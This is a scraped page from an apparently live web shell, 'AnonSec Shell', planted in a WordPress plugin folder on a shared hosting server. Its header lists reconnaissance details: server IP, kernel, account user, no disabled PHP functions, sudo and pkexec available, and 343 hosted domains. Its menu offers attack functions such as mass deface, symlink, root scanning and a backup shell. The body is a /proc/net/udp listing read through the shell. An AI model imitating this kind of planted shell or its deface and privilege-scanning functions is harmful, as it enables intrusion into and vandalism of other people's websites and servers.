AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/razzlestore/public_html/wp-content/plugins/anon_sym/anon/proc/thread-self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/razzlestore/public_html/wp-content/plugins/anon_sym/anon/proc/thread-self/net/udp
   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops            
  470: 644F4C90:9651 02400CB9:0035 01 00000000:00000500 00:00000000 00000000  1092        0 2904123267 2 0000000000000000 0    
 7217: 644F4C90:B0AC 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1314        0 2914307032 2 0000000000000000 0    
11122: 644F4C90:BFED 02400CB9:0035 01 00000000:00000500 00:00000000 00000000  1092        0 2904130883 2 0000000000000000 0    
16552: 644F4C90:D523 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1092        0 2904125436 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117224 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117223 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117222 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117221 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117220 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117219 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117218 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117217 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117216 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117215 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117214 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117213 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117212 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117211 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117210 2 0000000000000000 0    
27578: 734F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117209 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117157 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117156 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117155 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117154 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117153 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117152 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117151 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117150 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117149 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117148 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117147 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117146 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117145 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117144 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117143 2 0000000000000000 0    
27578: 644F4C90:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117142 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117122 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117123 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117121 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117120 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117119 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117117 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117116 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117118 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117115 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117114 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117113 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117112 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117111 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117110 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117109 2 0000000000000000 0    
27578: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 2851117108 2 0000000000000000 0    
27636: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 20044 2 0000000000000000 0         
27848: 0100007F:0143 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 27796 2 0000000000000000 0         
31806: 644F4C90:90B9 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1161        0 2902803811 2 0000000000000000 0    
32585: 644F4C90:93C4 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1092        0 2904120164 2 0000000000000000 0    

Anon7 - 2022
AnonSec Team